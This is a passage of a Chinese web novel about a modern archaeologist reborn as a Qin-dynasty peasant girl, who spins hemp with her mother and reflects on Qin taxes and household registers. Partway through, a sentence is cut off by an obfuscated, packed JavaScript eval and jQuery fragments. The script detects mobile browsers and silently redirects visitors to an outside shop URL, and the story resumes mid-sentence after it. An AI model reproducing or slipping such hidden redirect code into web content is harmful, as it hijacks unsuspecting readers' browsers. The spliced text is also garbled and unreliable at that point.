午后没有歇息。张氏在院里支起纺车，开始绩麻。
王娖坐在她旁边，学着把麻皮撕成细缕，搓成麻线。麻线又硬又涩，搓得久了，指腹被磨得通红，继而破皮，渗出细小的血珠。她把手指在衣襟上蹭了蹭，继续搓。张氏看见了，没有说话，只是把一块旧布条递过来，让她缠在指头上。布条是软的，缠上去之后，刺痛稍稍减轻。
绩麻是个枯燥到极致的活计。一束麻皮，撕缕，搓线，纺成锭，周而复始。王娖坐了一个时辰，屁股发麻，腰背僵直，指尖火辣辣的。她偷偷看了一眼张氏，母亲低着头，脊背微躬，手指翻飞，麻线从指间均匀地吐出来，一圈一圈地缠上纺锭。
母亲的脸在午后的光影里显得格外憔悴，眼角的皱纹深得像刀刻的。王娖忽然想起原身记忆里的一件事：去年冬天，母亲把家里仅有的一块旧棉絮拆了，给女儿絮了一件厚袄，自己只穿夹衣过冬。那件夹衣，如今还挂在墙角，肩头打着补丁，露出灰白的絮。
她低头看着自己缠了布条的手指，心里盘算着：照这个时代的行情，一束麻绩成线，织成布，要费几十日的功夫，才能换得几尺粗麻布。
而秦法规定，黔首每年要交“户赋”，成年男子要服徭役，田亩要交田租，还要交刍稿——草料与禾秆，供官府的牛马与驿站使用。这些条目，她前世在《秦律十八种》里逐条读过，能背出大半：田律规定“入顷刍稿，以其受田之数，无垦不垦，顷入刍三石、稿二石”；徭律规定“御中发征，乏弗行，赀二甲”；仓律规定“隶臣妾其从事公，隶臣月禾二石，隶妾一石半”……条文是死的，人是活的。
可当条文落到活人头上，每一石、每一束、每一钱，都是从这样的麻线、这样的粟米、这样的血汗里抠出来的。她把这笔账在心底又默算了一遍，越发觉得，这个时代，活着本身就是一场精打细算的战役。
“娘，”她轻声开口，“等我再长两岁，力气大了，咱家的田，我一个人也种得过来。到时候你就能少做一点了。”
张氏的手停了一瞬，又继续纺起来，声音淡淡的：“傻话。女子的力气，哪有种田的份。你只管把桑蚕绩麻学好，将来嫁一户殷实人家，安安稳稳过日子，娘就放心了。”
王娖没有再说话。她知道，在这个时代，母亲说的就是最朴素的真理：女子的一生，就是采桑、绩麻、纺绩、嫁人、生子、终老乡里。没有第二种可能。她心里浮起前世背过的一段话——《睡虎地秦简·为吏之道》里说“凡治事，毋懈毋怠”，说的是为吏之道；可此刻她坐在纺车前，看着母亲一圈一圈摇着纺轮，忽然觉得，这才是真正的“毋懈毋怠”，用一生的勤恳，去换一口饭、一件衣、一个勉强能撑起来的家。
日头西斜的时候，院子里已经堆起小山似的麻线。张氏收了纺车，开始准备晚饭。
王娖提着桶去河边汲水，回来的路上，看见三三两两的乡邻扛着农具从田里回来，赤着脚，弓着背，脸上是日晒雨淋后常见的黧黑。
有人冲她点头，她学着原身的样子，低眉顺眼地还礼。没有人多看她一眼。她只是一个普通的农家少女，和湑里所有的少女一样，将来也会像所有妇人一样，把一生耗在这片土地上。
暮色渐浓时，她蹲在河边洗脚，河水凉浸浸的，洗去一天的泥汗。她忽然想起前世导师说过的话：“秦代的制度，是全世界最早把每一个人都装进账本里的制度。户籍、田亩、赋税、徭役、刑名，样样有册，人人有籍。”她那时坐在暖和的报告厅里，只觉得导师说得精辟；此刻她赤脚踩在湑水河边，才真正咂摸出这句话的重量，她和她眼前这些扛锄归来的乡邻，每一个人的名字、口数、田亩、年龄、役情，此刻都清清楚楚地写在本乡的簿册里，随岁月滚动，分毫不爽。而她要在这个账本里，作为一个最不起眼的“口”，好好地活下去。
晚饭是粟粥配腌菜。饭后，张氏在灶台边缝补衣裳，王娖坐在门槛上，望着院子里渐渐暗下来的天光。
隔壁院传来荆家老媪唱楚地歌谣的声音，曲调绵软悠长，唱的是“沅有芷兮澧有兰”一类的调子，她听不太懂词，只觉得那调子像从很远的地方飘来的。
夜风从河谷里吹上来，带着水汽和庄稼的清香。远处传来亭卒巡乡的梆声，一下，又一下，敲在夜色里，敲得人心头一紧。
她仰起头，看着天幕上逐渐亮起来的星子。
银河横亘天际，和前世在城里看到的稀稀落落的星空完全不一样——这里的星空，密得像撒了一把碎银。
她忽然想起前世在考古工地过夜时，同事们围着篝火聊天，有人说：“要是能回到古代，看一眼秦汉的星空就好了。”如今她真的站在秦汉的星空下了。可她没有心情看星星。她满脑子想的，是明天的粟米够不够吃，是秋收之后要交多少田租刍稿，是冬天来的时候，母女俩能不能熬过去。
夜越来越深。张氏催她回屋睡。她躺在干草铺成的土炕上，听着窗外风声呜咽，听着远处隐约传来的犬吠和梆声。身体疲惫到极点，意识却清醒得可怕。她想起前世读过的那些秦简——里耶秦简里，一个叫“敬”的守吏在给上级的文书里汇报，某乡某里的黔首“课田”情况如何，赋税如何，徭役如何。那些简牍上的字，她曾经一字一字地校勘过、注释过。如今她躺在简牍所记载的时代的土地上，成了那些字里行间最普通的一个“口”。
秦之盛世基业，从来不是什么王侯将相的功业簿。它是由无数个像母亲张氏这样的黔首，日复一日、无声无息地用血汗堆筑起来的。她躺在这片由血汗堆筑的土地上，第一次如此真切地体会到，史书上那些“国富兵强”四个大字，底下压着多少双磨破的手，多少具累弯的脊背。
她在黑暗中攥了攥拳，掌心还残留着麻线的涩意和草根的土腥。
从明天起，她要更用力地活下去。
日子是一日一日过出来的。
王娖在湑里醒来已有数日，从最初的恍然无措，到如今，她已能凭原身的本能完成一日里大半的活计：天不亮起身，汲水、扫院、烧灶、舂粟、下田，午后绩麻纺线，傍晚再汲一次水，喂鸡、收衣、点上油灯。日子像一架沉重的水车，周而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17921734|213476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
复始地转动，没有一日停歇，也没有一日新鲜。
她也终于看清了这个家的全部底细。
三间茅舍，一间正屋，两间偏厦。
正屋是母女俩的住处兼灶间，靠窗一架纺车，靠墙一张土炕，炕上铺着干草和粗麻布，墙角堆着几只陶瓮，盛着粟米、豆子和腌菜。偏厦一间堆农具杂物，一间养着那三只瘦鸡。
院子不大，夯土的院墙只到齐腰高，挡不住风，也挡不住邻里的目光。院角一棵老桑树，树干粗壮，歪歪扭扭地斜向河岸，是十几年前父亲王氏亲手栽的。树荫底下，张氏用石头垒了个简易的灶，夏秋两季便在外面做饭，省得屋里烟熏火燎。
家里的田地，三亩粟田，两亩桑地，外加河滩上一小块菜地。这就是王氏一家两代人攒下的全部家底。
王娖前世在秦简里见过“受田”的记载，知道秦国的土地制度是授田制，国家按户授田，成年男子授田百亩，当然那是关中平原的肥地，到了汉中边郡，山多田少，一户人家能有几亩薄田，已算是安身立命的根基。而这一份根基，如今悬在一个没有男丁的家庭之上。
这些日子，王娖跟着母亲出门办事，渐渐摸清了这家人在乡里处的境遇。
缴刍稿那日，张氏挑着两捆扎得结结实实的禾秆去乡亭，排在队伍末尾。前头几家都是壮汉当家，人高马大，说话声音都亮堂，乡吏核验时，脸上带着几分和气。轮到张氏，她弓着腰把草捆卸下来，赔着笑，声音细得像蚊子：“吏君，这是我家今秋的刍稿，您看……”
乡吏翻了翻木牍，眉头微皱：“你家今年报了几亩田？”张氏答：“六亩，三亩粟，两亩桑，一亩菜地……”乡吏打断她：“六亩，刍三石，稿二石，数对得上。可你家人丁怎么记的？你丈夫三年未归，户籍上还挂着壮丁的名，上头今年要是来查役籍，你这户可有的麻烦。”张氏脸色一白，嘴唇动了动，终究没敢接话，只低声应了句：“是。”
回家的路上，张氏一路沉默。王娖跟在她身后，看着她微微佝偻的背，心里堵得慌。她前世读过《秦律十八种·徭律》，知道秦国对“匿户”“逃亡”惩处极重：一户隐匿了口数，里正要连坐，伍人要连坐，隐匿者本人更是重罚。而像父亲这样远役未归、生死不明的人家，户籍上不销丁口，是怕一旦销了，这户就彻底成了“无壮丁之户”，赋税徭役的名目更要变样；可若不销，年年征发的名册上，他家便永远挂着一个永远不会应役的名字，每逢核验，便是一桩悬在头顶的祸事。这其中的两难，她前世在论文里写过整整一章，如今落到自家头上，才发现那些纸上推演的结论，每一句都硌得人生疼。
母亲张氏，年三十八，看起来却像五十岁的人。
她的背有些驼了，那是经年累月弯腰劳作的结果；她的头发灰白，那是熬坏了心血的印记；她的手掌粗粝，指节弯曲变形，那是日复一日纺绩、锄地、捣杵的证明。王娖从来没有听母亲抱怨过一句。不抱怨世道，不抱怨命运，不抱怨那个一去三年杳无音信的丈夫。她只是沉默地、勤恳地、日复一日地把这个家撑起来。